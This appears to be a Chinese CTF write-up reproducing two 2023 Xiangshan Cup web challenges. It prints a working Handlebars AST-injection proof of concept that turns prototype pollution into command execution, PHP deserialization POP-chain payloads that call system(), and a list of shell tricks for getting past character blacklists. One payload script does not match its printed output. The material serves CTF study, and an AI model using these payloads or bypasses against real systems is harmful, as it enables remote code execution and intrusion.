2023香山杯复现-Web

发布时间 2023-11-01 00:12:57作者: 介怀

Web

meow_blog

pull 大头师傅的镜像

docker pull ccr.ccs.tencentyun.com/lxxxin/public:xsb2023_meow_blog

然后启动

docker run -it -d -p 12345:5000 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:xsb2023_meow_blog

但是在测试的过程中,出现了sql的错误

image-20231030163955127

于是自己起一个环境

image-20231030191242992

发现还是有问题,遂在windows上起了一个服务,这里非常感谢Jasper师傅的热心提点。

在本地修改文件后

image-20231031233324208

image-20231031233337532

将服务起起来。

image-20231031233406216

发现注册成功。然后跟进一下漏洞。

先测一下Jasper的poc

// handlebars AST注入 实现由原型链污染到RCE
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "loc": {
        "start": 0
    }
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

image-20231031234714910

能通,说明漏洞存在。

然后本地跑通poc

image-20231031235514813

Handlebars AST注入

参考链接

https://tyaoo.github.io/2021/09/25/Handlebars-AST注入/

PHP_unserialize_pro

源码如下:

<?php

// 关闭错误报告,隐藏细节
error_reporting(0); 

class Welcome{

  public $name;

  public function __construct(){
    $this->name = 'Wh0 4m I?'; // 构造函数设置name属性
  }

  public function __destruct(){
    if($this->name == 'A_G00d_H4ck3r'){ // 如果name属性匹配
      echo $this->arg; // 输出arg属性
    }
  }

}

class G00d{

  public $shell; 
  public $cmd;

  public function __invoke(){
    $shell = $this->shell; // $shell和$cmd来自对象属性
    $cmd = $this->cmd;
    
    // 检查命令是否包含禁止字符
    if(preg_match('/f|l|a|g|\\*|\\?/i', $cmd)){ 
      die("U R A BAD GUY");
    }

    // 执行命令,存在代码执行漏洞
    eval($shell($cmd)); 
  }

}

class H4ck3r{

  public $func;

  public function __toString(){
    $function = $this->func;
    $function(); // 调用$func指向的函数
  }

}

// 如果有GET参数则反序列化
if(isset($_GET['data']))
  unserialize($_GET['data']); 

// 否则输出PHP源码  
else
  highlight_file(__FILE__);

?>

源码审计一波:

先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,所以我们就要调用Welcome里面的arg令它当成G00d()函数就行 然后就是触发__destruct()条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法

由此可以构造pop链

__construct->__destruct()->__toString()->__invoke()

这里记录一下学习到的关于某个字母被ban的绕过方法:

  1. 反斜线转义 cat fla\g.php

  2. 两个单引号做分隔 cat fl''ag.php

  3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh

  4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash

  5. glob通配符 cat f[k-m]ag.php cat f[l]ag.php

  6. ?和*

  7. cat f{k..m}ag.php

  8. 定义变量做拼接 a=g.php; cat fla$a

  9. 内联执行cat echo 666c61672e706870 | xxd -r -p 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat

<?php
class Welcome{
  public $name;
  public $arg = 'welcome';
}

class G00d{
  public $shell;
  public $cmd;
}

class H4ck3r{
  public $func;
}
$h = new H4ck3r();
$w = new Welcome();
$g = new G00d();
$w->name="A_G00d_H4ck3r";
$w->arg = $h;
$h->func = $g;
$g->shell="urldecode";
$g->cmd = "system(\$_POST[1]);";
echo serialize($w);
O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}

这里使用通配符进行过滤,在网上还发现了一些比较好的绕过方式

O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:60:"cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`";}}}

  1. cd命令,cd到根目录下
  2. more命令与cat相似,以页的方式查看文件内容
  3. ``反引号绕过正则过滤
  4. php输出的字符串作为PHP代码执行
  5. echo输出命令
  6. chr()转换为字符

image-20231030213453601

由此来复习一下反序列化中的POP

魔术方法

方法 触发条件 参数 返回值
__construct 实例化对象
__destruct 反序列化之后 销毁之后
__sleep 序列化之前 需要被序列化的成员属性
__wakeup 反序列化之前
__toString 把对象当成字符串使用
__invoke 把对象当成函数调用
__clone 当使用clone关键字拷贝完一个对象
__call 调用不存在的方法 \(arg1,\)arg2 不存在的方法名称&参数
__callStatic 静态调用不存在的方法 \(arg1,\)arg2 不存在的方法名称&参数
__get 调用成员属性不存在 $arg1 不存在的成员属性名称
__set 给不存在的成员属性赋值 \(arg1,\)arg2 不存在的成员名称&值
__isset 对不可访问属性使用isset()或empty $arg1 不存在的成员属性名称
__unset 对不可访问属性使用unset() $arg1 不存在的成员属性名称

__wakeup()函数漏洞绕过原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

  • 反序列化的常见起点:
  1. __wakeup 一定会调用

  2. __destruct 一定会调用

  3. __toString 当一个对象被反序列化后又被当做字符串使用

  • 反序列化的常见中间跳板:
  1. __toString 当一个对象被当做字符串使用
  2. __get 读取不可访问或不存在属性时被调用
  3. __set 当给不可访问或不存在属性赋值时被调用
  4. __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 \(this->\)func();
  • 反序列化的常见终点:
  1. __call 调用不可访问或不存在的方法时被调用
  2. call_user_func 一般php代码执行都会选择这里
  3. call_user_func_array 一般php代码执行都会选择这里

参考链接

https://blog.csdn.net/m0_73734159/article/details/133854073